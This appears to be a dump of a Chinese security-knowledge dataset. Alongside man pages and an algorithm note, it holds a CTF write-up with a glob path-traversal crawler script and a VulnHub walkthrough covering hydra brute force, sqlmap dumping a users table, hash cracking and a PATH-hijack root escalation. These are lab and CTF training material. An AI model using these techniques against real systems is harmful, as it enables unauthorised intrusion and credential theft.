text
stringlengths
100
9.93M
category
stringclasses
11 values
# 18.1 在 O(1) 时间内删除链表节点 ## 解题思路 ① 如果该节点不是尾节点,那么可以直接将下一个节点的值赋给该节点,然后令该节点指向下下个节点,再删除下一个节点,时间复杂度为 O(1)。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1176f9e1-3442-4808-a47a-76fbaea1b806.png" width="600"/> </div><br> ② 否则,就需要先遍历链表,找到节点的前一个节点,然后让前一个节点指向 null,时间复杂度为 O(N)。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/4bf8d0ba-36f0-459e-83a0-f15278a5a157.png" width="600"/> </div><br> 综上,如果进行 N 次操作,那么大约需要操作节点的次数为 N-1+N=2N-1,其中 N-1 表示 N-1 个不是尾节点的每个节点以 O(1) 的时间复杂度操作节点的总次数,N 表示 1 个尾节点以 O(N) 的时间复杂度操作节点的总次数。(2N-1)/N \~ 2,因此该算法的平均时间复杂度为 O(1)。 ```java public ListNode deleteNode(ListNode head, ListNode tobeDelete) { if (head == null || tobeDelete == null) return null; if (tobeDelete.next != null) { // 要删除的节点不是尾节点 ListNode next = tobeDelete.next; tobeDelete.val = next.val; tobeDelete.next = next.next; } else { if (head == tobeDelete) // 只有一个节点 head = null; else { ListNode cur = head; while (cur.next != tobeDelete) cur = cur.next; cur.next = null; } } return head; } ```
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: set.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: set.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH set 3tcl "" Tcl "Tcl Built-In Commands" .BS '\" Note: do not modify the .SH NAME line immediately below! .SH NAME set \- 读写变量 .SH "总览 SYNOPSIS" \fBset \fIvarName \fR?\fIvalue\fR? .BE .SH "描述 DESCRIPTION" .PP 返回变量 \fIvarName \fR的值。如果指定了 \fIvalue\fR,则把 \fIvarName\fR 的值设置为 \fIvalue\fR,如果这个变量不存在,则建立一个新变量并返回它的值。如果 \fIvarName\fR 包含一个开圆括号并终止于一个闭圆括号,则它引用一个数组元素: 在第一个开括号之前的字符是数组的名字,而在圆括号中的字符是在数组中的索引。否则 \fIvarName\fR 引用一个标量变量。 一般的,\fIvarName\fR 是未限定的(不包括任何包容它的名字空间的名字),读或写当前名字空间中叫这个名字的变量。如果 \fIvarName\fR 中包含名字空间限定符(如果它引用一个数组元素则在数组名字中),则读或写在指定名字空间中的变量。 .PP 如果没有活跃的过程,则 \fIvarName\fR 引用一个名字空间变量(如果当前的名字空间是全局名字空间则是全局变量)。如果有一个过程是活跃的,则除非调用 \fBglobal\fR 命令声明 \fIvarName\fR 是全局的或调用 \fBvariable\fR 声明 \fIvarName\fR 是一个名字空间变量,否则 \fIvarName\fR 引用这个过程的一个参数或局部变量。 .SH "参见 SEE ALSO" expr(n), proc(n), trace(n), unset(n) .SH "关键字 KEYWORDS" read, write, variable .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/10/30 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
pwd === 显示当前工作目录的绝对路径。 ## 补充说明 pwd(英文全拼:print working directory) 命令用于显示用户当前所在的工作目录(以绝对路径显示)。 ## 内建命令 #### 概要 ```shell pwd [-LP] ``` #### 选项 ```shell -L (默认值)打印环境变量"$PWD"的值,可能为符号链接。 -P 打印当前工作目录的物理位置。 ``` #### 返回值 返回状态为成功除非给出了非法选项或是当前目录无法读取。 #### 注意 1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 ## 外部命令 #### 概要 ```shell pwd [OPTION]... ``` #### 主要用途 - 显示当前工作目录。 #### 选项 ```shell -L, --logical 打印环境变量"$PWD"的值,可能为符号链接。 -P, --physical (默认值)打印当前工作目录的物理位置。 --help 显示帮助信息并退出。 --version 显示版本信息并退出。 ``` #### 返回值 返回状态为成功除非给出了非法选项或是当前目录无法读取。 #### 注意 1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man pwd`或`info coreutils 'pwd invocation'`。 2. 启动或关闭内建命令请查看`enable`命令,关于同名优先级的问题请查看`builtin`命令的例子部分的相关讨论。 3. 在不禁用内建且当前环境没有定义`pwd`函数的情况下,使用`/usr/bin/pwd`指向`coreutils`的`pwd`,使用`pwd`指向bash内建的`pwd`。 ## 例子 查看当前所在路径 ```shell [root@localhost var]# pwd /var ``` 显示软连接文件最终指向的文件路径 ```shell [root@localhost ~]# cd /var/ # 进入/var目录,该目录下有个 mail 软连接文件 [root@localhost var]# ls -al total 164 ... lrwxrwxrwx 1 root root 10 Oct 17 2015 mail -> spool/mail [root@localhost var]# cd mail/ # 进入 mail 目录,mail 为连接文件。 [root@localhost mail]# pwd # 默认,使用连接文件,直接显示连接文件全路径。 /var/mail ``` 使用 `-P` 参数,显示的不是逻辑路径,而是连接(软连接)文件最终指向的文件 ```shell [root@localhost mail]# pwd -P /var/spool/mail ```
sec-knowleage
# Art Gallery Category: Web, 300 points ## Description > Pnina Terest applied for a job in the ISA. We asked her to implement a web-based art gallery to store all of ISA's best pictures. When Pnina submitted her finished work, we were disappointed to find out that she did not implement some of the features we requested. However, when we asked Pnina about this, she insisted that she'd implemented each and every feature and that we didn't look hard enough. > > Pnina is annoying. We decided not to recruit her. ## Solution: We visit the attached link and arrive to a gallery website presenting photos from four different photographers: Fabio, Habier, Valery and Yelena: ```html <div class="card-columns"> <!-- show image --> <div class="card card-pin col-lg-3 col-md-4 col-sm-6 filter files"> <img class="card-img" src="files/aurora-borealis.jpg" alt="Card image"> <div class="overlay"> <h2 class="card-title title">aurora-borealis</h2> </div> </div> <!-- end show image --> <!-- show image --> <div class="card card-pin col-lg-3 col-md-4 col-sm-6 filter files"> <img class="card-img" src="files/forest.jpg" alt="Card image"> <div class="overlay"> <h2 class="card-title title">forest</h2> </div> </div> <!-- end show image --> <!-- end show image --> <!-- ... --> </div> The main page allows the user to click one of the photographers names and see only their photos. It also has an "update post" which doesn't seem to do anything and a search box. We'll concentrate on the search box which is the area that contains the vulnerability. The search box allows us to search for photos with a certain name. For example, by searching for "forest" (via `http://art.shieldchallenges.com/?search=forest`) we get the following result: ```html <div class="card-columns"> <!-- show image --> <div class="card card-pin col-lg-3 col-md-4 col-sm-6 filter files"> <img class="card-img" src="files/forest.jpg" alt="Card image"> <div class="overlay"> <h2 class="card-title title">forest</h2> </div> </div> <!-- end show image --> </div> ``` What happens if we search for something a bit more problematic, such as a null byte? ```console root@kali:/media/sf_CTFs/shabak/Art_Gallery# curl http://art.shieldchallenges.com/?search=%00 -s | grep Warning <b>Warning</b>: glob() expects parameter 1 to be a valid path, string given in <b>/var/www/html/index.php</b> on line <b>12</b><br /> <b>Warning</b>: array_filter() expects parameter 1 to be array, null given in <b>/var/www/html/index.php</b> on line <b>12</b><br /> <b>Warning</b>: Invalid argument supplied for foreach() in <b>/var/www/html/index.php</b> on line <b>12</b><br /> ``` The error messages from the application leak some details from the internal implementation. We see that `glob` is being used, which means that we can try to exploit directory traversal by searching for something like `http://art.shieldchallenges.com/?search=../`. This gives us the following interesting output: ```html <div class="card-columns"> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <div class="card card-pin col-lg-3 col-md-4 col-sm-6 filter .."> <img class="card-img" src="files/Fabio/../aurora-borealis.jpg" alt="Card image"> <div class="overlay"> <h2 class="card-title title">aurora-borealis</h2> </div> </div> <!-- end show image --> <!-- show image --> <div class="card card-pin col-lg-3 col-md-4 col-sm-6 filter .."> <img class="card-img" src="files/Fabio/../forest.jpg" alt="Card image"> <div class="overlay"> <h2 class="card-title title">forest</h2> </div> </div> <!-- end show image --> <!-- show image --> <div class="card card-pin col-lg-3 col-md-4 col-sm-6 filter .."> <img class="card-img" src="files/Habier/../aurora-borealis.jpg" alt="Card image"> <div class="overlay"> <h2 class="card-title title">aurora-borealis</h2> </div> </div> <!-- end show image --> <!-- show image --> <div class="card card-pin col-lg-3 col-md-4 col-sm-6 filter .."> <img class="card-img" src="files/Habier/../forest.jpg" alt="Card image"> <div class="overlay"> <h2 class="card-title title">forest</h2> </div> </div> <!-- end show image --> <!-- show image --> <div class="card card-pin col-lg-3 col-md-4 col-sm-6 filter .."> <img class="card-img" src="files/Valery/../aurora-borealis.jpg" alt="Card image"> <div class="overlay"> <h2 class="card-title title">aurora-borealis</h2> </div> </div> <!-- end show image --> <!-- show image --> <div class="card card-pin col-lg-3 col-md-4 col-sm-6 filter .."> <img class="card-img" src="files/Valery/../forest.jpg" alt="Card image"> <div class="overlay"> <h2 class="card-title title">forest</h2> </div> </div> <!-- end show image --> <!-- show image --> <div class="card card-pin col-lg-3 col-md-4 col-sm-6 filter .."> <img class="card-img" src="files/Yelena/../aurora-borealis.jpg" alt="Card image"> <div class="overlay"> <h2 class="card-title title">aurora-borealis</h2> </div> </div> <!-- end show image --> <!-- show image --> <div class="card card-pin col-lg-3 col-md-4 col-sm-6 filter .."> <img class="card-img" src="files/Yelena/../forest.jpg" alt="Card image"> <div class="overlay"> <h2 class="card-title title">forest</h2> </div> </div> <!-- end show image --> </div> ``` We can see two interesting things here: 1. The output starts with an odd sequence of empty comments. 2. The application has appended our input (`"../"`) to each photographer directory and therefore returned multiple instances of photos residing directly in the `files` directory, since each time it has arrived to these files via a different path. Since the application prepends a two-level photographer directory to our search path (e.g. `files/Yelena/`) if we want to start globbing the application directory, we need to start our search query with `../../`. Now let's try to throw in glob wildcards: ``` * (an asterisk): Matches zero of more characters ? (a question mark): Matches exactly any one character ``` If we search for `"../../*"`, we get: ```html <div class="card-columns"> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> </div> ``` We get lots of HTML comments, but no images are shown. If we search for `"../../a*"`, we get: ```html <div class="card-columns"> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> <!-- show image --> <!-- end show image --> </div> ``` We have several HTML comments, but no images are shown. But if we search for `"../../q*"`, we get: ```html <div class="container-fluid"> <div class="card-columns"> </div> <p>No images found.</p> </div> ``` The application explicitly states that no images were found. So it seems like there are different cases which result in no images being shown. Our theory is that: * If the glob pattern matches **any** file, the HTML comments will be part of the output * If the glob pattern matches an image file, it will be shown wrapped within the comments * Otherwise, just the comments will be outputted but no images will be shown * If the glob pattern doesn't match any files, the output will state that no images were found This means that we can build a basic crawler to crawl the directory structure: ```python from urllib.parse import quote from pwn import * import requests import argparse import string ALPHABET = [quote(c) for c in (set(string.ascii_letters + string.digits + string.punctuation) - set("/?*\\,"))] BASE_URL = "http://art.shieldchallenges.com" def _path_exists(path): r = requests.get(f'{BASE_URL}/?search={path}') return "<!-- show image -->" in r.text def _is_visible(path): r = requests.get(f'{BASE_URL}/{path}') return r.status_code in [200, 403] def _crawl(prefix, suffix, relative_path): try: current = "" with log.progress(f'Crawling "{relative_path}" with prefix = "{prefix}", suffix = "{suffix}"') as p: paths = [""] visible = [""] while len(paths) > 0: current = paths.pop() for c in ALPHABET: file = current + c if file.startswith("."): continue if _path_exists(prefix + relative_path + file + "*" + suffix): paths.append(file) p.status(f"Found partial entity: {file}") if _is_visible(relative_path + file): visible.append(relative_path + file) p.status(f"Found visible entity: {file}") p.status(f"Current paths: {paths}, current visible: {visible}") return visible except Exception: print(f"Aborting, paths = {paths}, visibile = {visible}, current = {current}") raise def crawl(relative_path): log.info(f"Searching for files in '{relative_path}'") files = _crawl("../../", "", relative_path) log.info(f"Found: {files}") log.info(f"Searching for folders in '{relative_path}'") folders = _crawl("../../", "/*", relative_path) log.info(f"Found: {folders}") return (files, folders) if __name__ == "__main__": parser = argparse.ArgumentParser(description='Art Gallery Crawler') parser.add_argument('-r', '--relative_path', required = True, type = str, help = 'Relative path to crawl') args = parser.parse_args() crawl(args.relative_path) ``` This script uses the glob pattern and HTML comment indicator to decide if a file or folder exist, and then tries to fetch it to decide if it's accessible. We consider resources that return a 403 error code as accessible since that's what folder usually return when accessed directly. To get a list of (non-hidden) files and folders under the main folder, we call: ```console root@kali:/media/sf_CTFs/shabak/Art_Gallery# python3 crawl.py -r "" [*] Searching for files in '' [+] Crawling "" with prefix = "../../", suffix = "": Done [*] Found: ['post.php', 'author.php', 'robots.txt', '404.php', '403.php', 'index.php', 'favicon.ico'] [*] Searching for folders in '' [+] Crawling "" with prefix = "../../", suffix = "/*": Done [*] Found: ['', 'files'] ``` To make a long story short, we'll jump a few steps ahead and scan for files within the `files/Habier` folder: ```console root@kali:/media/sf_CTFs/shabak/Art_Gallery# python3 crawl.py -r "files/Habier/" [*] Searching for files in 'files/Habier/' [+] Crawling "files/Habier/" with prefix = "../../", suffix = "": Done [*] Found: ['', 'files/Habier/sparkler.jpg', 'files/Habier/iceberg.jpg', 'files/Habier/Habier%26Valery4ever_%23WEBISFUN.txt'] [*] Searching for folders in 'files/Habier/' [+] Crawling "files/Habier/" with prefix = "../../", suffix = "/*": Done [*] Found: [''] ``` We found an interesting file: `files/Habier/Habier%26Valery4ever_%23WEBISFUN.txt`. Let's fetch it: ```console root@kali:/media/sf_CTFs/shabak/Art_Gallery# curl http://art.shieldchallenges.com/files/Habier/Habier%26Valery4ever_%23WEBISFUN.txt FLAG{You-R-Gl0bMast3R} ```
sec-knowleage
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\"******************************************************************* .\" .\" This file was generated with po4a. Translate the source file. .\" .\"******************************************************************* .TH CHROOT 8 2022年9月 "GNU coreutils 9.1" 用户命令 .SH 名称 chroot \- 在特殊的根目录下运行目录或者交互式 shell .SH 概述 \fBchroot\fP [\fI\,选项\/\fP] \fI\,新根 \/\fP[\fI\,命令 \/\fP[\fI\,参数\/\fP]...] .br \fBchroot\fP \fI\,选项\/\fP .SH 描述 .\" Add any additional description here .PP 以指定的新根为运行指定命令时的的根目录。 .TP \fB\-\-groups\fP=\fI\,G_LIST\/\fP 以 g1,g2,...,gN 的形式指定附加用户组 .TP \fB\-\-userspec\fP=\fI\,USER\/\fP:GROUP 指定要使用的用户和用户组(ID 或者名称) .TP \fB\-\-skip\-chdir\fP 不要将工作目录切换为“/” .TP \fB\-\-help\fP 显示此帮助信息并退出 .TP \fB\-\-version\fP 显示版本信息并退出 .PP 如果没有给定命令,则运行“"$SHELL" \fB\-i\fP”(默认为:“/bin/sh \fB\-i\fP”)。 .SH 作者 由 Roland McGrath 编写。 .SH 报告错误 GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/> .br 请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。 .SH 版权 Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. .br This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. .SH 参见 \fBchroot\fP(2) .PP .br 完整文档请见: <https://www.gnu.org/software/coreutils/chroot> .br 或者在本地使用: info \(aq(coreutils) chroot invocation\(aq
sec-knowleage
# NullByte > https://download.vulnhub.com/nullbyte/NullByte.ova.zip 靶场IP:`192.168.32.14` 扫描对外端口服务 ``` ┌──(root㉿kali)-[~] └─# nmap -sV -p1-65535 192.168.32.14 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 22:43 EDT Nmap scan report for 192.168.32.14 Host is up (0.00011s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) 111/tcp open rpcbind 2-4 (RPC #100000) 777/tcp open ssh OpenSSH 6.7p1 Debian 5 (protocol 2.0) 44438/tcp open status 1 (RPC #100024) MAC Address: 08:00:27:6C:32:B0 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.38 seconds ``` 访问80端口 ![image-20220909104418628](../../.gitbook/assets/image-20220909104418628.png) 爆破web目录,没有发现有用的信息。 ``` ┌──(root㉿kali)-[~] └─# dirb http://192.168.32.14/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu Sep 8 22:44:56 2022 URL_BASE: http://192.168.32.14/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.32.14/ ---- + http://192.168.32.14/index.html (CODE:200|SIZE:196) ==> DIRECTORY: http://192.168.32.14/javascript/ ==> DIRECTORY: http://192.168.32.14/phpmyadmin/ + http://192.168.32.14/server-status (CODE:403|SIZE:301) ==> DIRECTORY: http://192.168.32.14/uploads/ ---- Entering directory: http://192.168.32.14/javascript/ ---- ==> DIRECTORY: http://192.168.32.14/javascript/jquery/ ---- Entering directory: http://192.168.32.14/phpmyadmin/ ---- ==> DIRECTORY: http://192.168.32.14/phpmyadmin/docs/ + http://192.168.32.14/phpmyadmin/favicon.ico (CODE:200|SIZE:18902) + http://192.168.32.14/phpmyadmin/index.php (CODE:200|SIZE:9115) ==> DIRECTORY: http://192.168.32.14/phpmyadmin/js/ + http://192.168.32.14/phpmyadmin/libraries (CODE:403|SIZE:308) ==> DIRECTORY: http://192.168.32.14/phpmyadmin/locale/ + http://192.168.32.14/phpmyadmin/phpinfo.php (CODE:200|SIZE:9117) + http://192.168.32.14/phpmyadmin/setup (CODE:401|SIZE:460) ==> DIRECTORY: http://192.168.32.14/phpmyadmin/themes/ ---- Entering directory: http://192.168.32.14/uploads/ ---- + http://192.168.32.14/uploads/index.html (CODE:200|SIZE:113) ``` 查看图片信息,找到一个路径:`kzMb5nVYJw` ``` ┌──(root㉿kali)-[/tmp] └─# exiftool main.gif ExifTool Version Number : 12.44 File Name : main.gif Directory : . File Size : 17 kB File Modification Date/Time : 2022:09:08 22:46:44-04:00 File Access Date/Time : 2022:09:08 22:46:44-04:00 File Inode Change Date/Time : 2022:09:08 22:46:44-04:00 File Permissions : -rw-r--r-- File Type : GIF File Type Extension : gif MIME Type : image/gif GIF Version : 89a Image Width : 235 Image Height : 302 Has Color Map : No Color Resolution Depth : 8 Bits Per Pixel : 1 Background Color : 0 Comment : P-): kzMb5nVYJw Image Size : 235x302 Megapixels : 0.071 ``` 访问:`/kzMb5nVYJw` ![image-20220909110246554](../../.gitbook/assets/image-20220909110246554.png) 查看页面源代码 ![image-20220909110502388](../../.gitbook/assets/image-20220909110502388.png) 使用hydra爆破输入框 ``` ┌──(root㉿kali)-[~] └─# hydra 192.168.32.14 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -P /usr/share/wordlists/rockyou.txt -la Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-08 23:04:08 [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task [DATA] attacking http-post-form://192.168.32.14:80/kzMb5nVYJw/index.php:key=^PASS^:invalid key [STATUS] 4387.00 tries/min, 4387 tries in 00:01h, 14340012 to do in 54:29h, 16 active [STATUS] 4537.33 tries/min, 13612 tries in 00:03h, 14330787 to do in 52:39h, 16 active [80][http-post-form] host: 192.168.32.14 login: a password: elite 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-08 23:09:39 ``` 爆破出来的密码是:`elite` ![image-20220909110652822](../../.gitbook/assets/image-20220909110652822.png) 输入框存在SQL注入漏洞 ``` ┌──(root㉿kali)-[/tmp] └─# sqlmap -u "http://192.168.32.14/kzMb5nVYJw/420search.php?usrtosearch=1" --level 5 --risk 3 -p usrtosearch --batch --dbms=mysql -D seth -T users --dump Database: seth Table: users [2 entries] +----+---------------------------------------------+--------+------------+ | id | pass | user | position | +----+---------------------------------------------+--------+------------+ | 1 | YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | ramses | <blank> | | 2 | --not allowed-- | isis | employee | +----+---------------------------------------------+--------+------------+ ``` base64解密 ``` ┌──(root㉿kali)-[/tmp] └─# echo 'YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=' | base64 -d c6d6bd7ebf806f43c76acc3681703b81 ``` hashcat爆破哈希 ``` ┌──(root㉿kali)-[/tmp] └─# hashcat -m 0 -a 0 hash /usr/share/wordlists/rockyou.txt ``` ![image-20220909111959800](../../.gitbook/assets/image-20220909111959800.png) ssh登录 ``` ┌──(root㉿kali)-[~] └─# ssh ramses@192.168.32.14 -p 777 ramses@192.168.32.14's password: The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sun Aug 2 01:38:58 2015 from 192.168.1.109 ramses@NullByte:~$ id uid=1002(ramses) gid=1002(ramses) groups=1002(ramses) ``` 找到`procwatch`,`procwatch`是调用ps命令。 ``` ramses@NullByte:~$ cd /var/www/ ramses@NullByte:/var/www$ ls backup html ramses@NullByte:/var/www$ cd backup/ ramses@NullByte:/var/www/backup$ ls procwatch readme.txt ramses@NullByte:/var/www/backup$ cat readme.txt I have to fix this mess... ramses@NullByte:/var/www/backup$ ./procwatch PID TTY TIME CMD 1486 pts/0 00:00:00 procwatch 1487 pts/0 00:00:00 sh 1488 pts/0 00:00:00 ps ramses@NullByte:/var/www/backup$ ramses@NullByte:/var/www/backup$ ./procwatch PID TTY TIME CMD 1489 pts/0 00:00:00 procwatch 1490 pts/0 00:00:00 sh 1491 pts/0 00:00:00 ps ramses@NullByte:/var/www/backup$ ./procwatch aux PID TTY TIME CMD 1492 pts/0 00:00:00 procwatch 1493 pts/0 00:00:00 sh 1494 pts/0 00:00:00 ps ``` 于是可以修改环境变量,让`procwatch`执行假的ps命令。 ``` ramses@NullByte:/var/www/backup$ cp /bin/sh /tmp/ps ramses@NullByte:/var/www/backup$ export PATH="/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games" ramses@NullByte:/var/www/backup$ echo $PATH /tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games ramses@NullByte:/var/www/backup$ ./procwatch # id uid=1002(ramses) gid=1002(ramses) euid=0(root) groups=1002(ramses) # cd /root # ls -al total 32 drwx------ 4 root root 4096 Aug 2 2015 . drwxr-xr-x 21 root root 4096 Aug 1 2015 .. drwx------ 2 root root 4096 Aug 2 2015 .aptitude -rw------- 1 root root 2364 Aug 2 2015 .bash_history -rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc -rw-r--r-- 1 root root 140 Nov 20 2007 .profile -rw-r--r-- 1 root root 1170 Aug 2 2015 proof.txt drwx------ 2 root root 4096 Aug 2 2015 .ssh # cat proof.txt adf11c7a9e6523e630aaf3b9b7acb51d It seems that you have pwned the box, congrats. Now you done that I wanna talk with you. Write a walk & mail at xly0n@sigaint.org attach the walk and proof.txt If sigaint.org is down you may mail at nbsly0n@gmail.com USE THIS PGP PUBLIC KEY -----BEGIN PGP PUBLIC 